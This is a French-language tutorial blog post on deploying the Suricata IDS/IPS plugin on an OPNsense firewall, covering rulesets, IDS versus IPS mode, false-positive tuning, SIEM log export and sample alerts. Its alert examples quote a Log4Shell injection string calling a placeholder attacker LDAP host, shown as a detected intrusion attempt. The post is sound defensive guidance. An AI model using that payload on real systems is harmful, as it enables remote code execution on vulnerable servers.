Suricata IDS/IPS avec OPNsense : détection d'intrusion et deep packet inspection

Déployer Suricata IDS/IPS sur OPNsense : Deep Packet Inspection, rulesets ET Open et Abuse.ch, mode IDS vs IPS, tuning des faux positifs, et analyse d'alertes réelles — scans de ports, exploits, malware C2. Guide complet Billet 7 de la série Stack OPNsense.

Suricata IDS/IPS avec OPNsense : détection d'intrusion et deep packet inspection

Sur mon infrastructure BOTUM, la sécurité réseau est construite en couches. Après avoir déployé CrowdSec au Billet 5 pour le blocage collaboratif d'IPs malveillantes, il manquait une composante essentielle : un moteur capable d'inspecter le contenu réel des paquets réseau. C'est le rôle de Suricata — le moteur IDS/IPS open source le plus performant du marché, nativement intégré à OPNsense.

CrowdSec vs Suricata : deux approches complémentaires

Comparaison CrowdSec vs Suricata

CrowdSec et Suricata ne font pas la même chose, et c'est précisément pourquoi ils fonctionnent mieux ensemble. CrowdSec est un système collaboratif cloud : il bloque les IPs dont la réputation est mauvaise selon une base de données partagée par des milliers d'instances. Efficace contre les bots, les scanners connus et les attaques de masse. Suricata est un moteur DPI (Deep Packet Inspection) local : il analyse le contenu brut des paquets TCP/UDP/ICMP en temps réel, à la recherche de patterns connus — signatures d'exploits, comportements de malware, scans furtifs. Il fonctionne même contre des IPs totalement inconnues.

La combinaison est puissante : CrowdSec bloque ce qui est connu, Suricata détecte ce qui est comportementalement suspect. Ensemble, ils couvrent les attaques volumétriques ET les intrusions ciblées.

Installer le plugin Suricata sur OPNsense

Installation plugin Suricata OPNsense

L'installation se fait en quelques clics depuis l'interface OPNsense. Prérequis : OPNsense 23.x ou supérieur, minimum 4 Go RAM (8 Go recommandé), CPU avec 2+ cœurs disponibles.

# Depuis l'interface web OPNsense :
System > Firmware > Plugins
  → Rechercher "suricata"
  → Cliquer + sur os-suricata
  → Confirmer l'installation

# Vérifier :
Services > Intrusion Detection  ← nouveau menu présent

# Version installée :
suricata --version

Configurer les interfaces à surveiller

Sur mon infra BOTUM avec 4 VLANs, je surveille toutes les interfaces actives. Configuration dans Services > Intrusion Detection > Administration :

# Paramètres recommandés :
Enabled            : ✓
IPS mode           : ✗ (commencer en IDS)
Promiscuous mode   : ✓
Enable syslog      : ✓
Pattern matcher    : Hyperscan ou Aho-Corasick
Home networks      : 192.168.0.0/16, 10.0.0.0/8

# Interfaces à surveiller :
WAN, LAN, VLAN10 (Serveurs), VLAN20 (IoT)

# À NE PAS surveiller :
lo (loopback) — faux positifs garantis
wg0 (WireGuard) — chiffré, déjà sécurisé

Activer et gérer les rulesets

Configuration rulesets Suricata OPNsense

Les rulesets sont le cœur de Suricata. Sources recommandées dans Services > Intrusion Detection > Administration > Download :

  • ET Open (Emerging Threats) — LA référence gratuite. ~30 000 règles, mise à jour quotidienne.
  • Abuse.ch URLhaus — URLs de distribution malware actives, rafraîchissement fréquent.
  • Abuse.ch ThreatFox — IOCs malware : IPs C2, domaines, hashes.
  • ET Pro Telemetry Edition — version gratuite limitée des règles ET Pro commerciales.
  • OISF Suricata Community — règles maintenues par l'équipe Suricata.
# Mise à jour automatique via cron OPNsense :
System > Settings > Cron
Tâche : Update and reload intrusion detection rules
Horaire : 0 3 * * * (3h00 chaque nuit)

Mode IDS vs mode IPS : détection ou prévention

Mode IDS : Suricata analyse et alerte, ne bloque rien. Idéal pour débuter. Mode IPS : bloque activement les paquets correspondant aux règles "drop/reject". Nécessite un tuning préalable.

# Philosophie BOTUM : 14 jours en IDS avant IPS

# Phase 1 : IDS pur (semaines 1-2)
Services > Intrusion Detection > Administration
IPS mode : ✗
→ Observer les alertes, créer les suppressions

# Phase 2 : activation IPS
IPS mode : ✓
→ Surveiller les logs, vérifier pas de blocages légitimes

# Modifier l'action d'une règle :
Services > Intrusion Detection > Rules
  → Action : alert / drop / reject / pass

Réduire les faux positifs

Les faux positifs sont normaux en début de déploiement. Causes typiques : Windows Update, outils de monitoring internes, CDNs populaires, DNS over HTTPS.

# Méthode 1 : désactiver une règle par SID
Services > Intrusion Detection > Rules
  → Rechercher SID → Action > Disable

# Méthode 2 : suppression par IP
Services > Intrusion Detection > Administration
  → Onglet Suppressions > Add
  Type : source | IP : 192.168.10.50 | SID : (vide)

# Méthode 3 : politique par VLAN
Services > Intrusion Detection > Administration
  → Onglet Policy > Add
  Interface : VLAN10 | Désactiver catégorie "scan"

Analyser les alertes : exemples réels

Dashboard alertes Suricata temps réel

Après quelques jours de fonctionnement, le tableau des alertes révèle les tentatives d'intrusion réelles.

# Exemple 1 : Scan de ports automatisé
Alerte : ET SCAN Nmap Scripting Engine User-Agent Detect
SID    : 2000545 | Sévérité : Medium
Source : 185.220.101.42:54932 → [IP WAN]:22
→ Scanner depuis exit node Tor

# Exemple 2 : Exploit Log4Shell
Alerte : ET WEB_SERVER Possible CVE-2021-44228 Log4j RCE
SID    : 2034647 | Sévérité : Critical
Payload : ${jndi:ldap://evil.attacker.com/exploit}
→ Injection Log4Shell via header HTTP

# Exemple 3 : Malware C2 Cobalt Strike
Alerte : ET MALWARE Cobalt Strike Beacon Observed
SID    : 2027865 | Sévérité : High
Source : 192.168.30.25 (VLAN Guest) → C2 externe
→ Machine infectée contacterant serveur C2

Intégration avec les logs OPNsense

Deep Packet Inspection — couches réseau analysées
# Logs sur le filesystem :
/var/log/suricata/eve.json    ← JSON structuré (SIEM)
/var/log/suricata/fast.log    ← Format texte rapide
/var/log/suricata/stats.log   ← Statistiques performance

# Export syslog vers SIEM :
System > Settings > Logging > Remote Logging
  Server : 192.168.10.100:514
  Log everything : ✓

# Filebeat vers Elasticsearch :
filebeat.inputs:
- type: log
  paths: [/var/log/suricata/eve.json]
  json.keys_under_root: true
output.elasticsearch:
  hosts: ["192.168.10.100:9200"]
  index: "suricata-%{+yyyy.MM.dd}"

Prochaines étapes : Billet 8 — AdGuard Home

La couche DPI Suricata est maintenant en place, complétant CrowdSec (Billet 5) et le NAC 802.1X (Billet 6). Le Billet 8 couvrira AdGuard Home intégré à OPNsense : filtrage DNS réseau, blocage publicités et trackers, listes personnalisées, statistiques DNS centralisées.

📥 Guide PDF complet

Téléchargez ce guide en PDF pour le consulter hors ligne.

⬇ Télécharger le guide (PDF)

🚀 Aller plus loin avec BOTUM

Ce guide couvre les bases. En production, chaque environnement a ses spécificités. Les équipes BOTUM accompagnent les organisations dans le déploiement, la configuration avancée et la sécurisation de leur infrastructure. Si vous avez un projet, parlons-en.

Discuter de votre projet →
Série OPNsense 📋 Voir la série complète →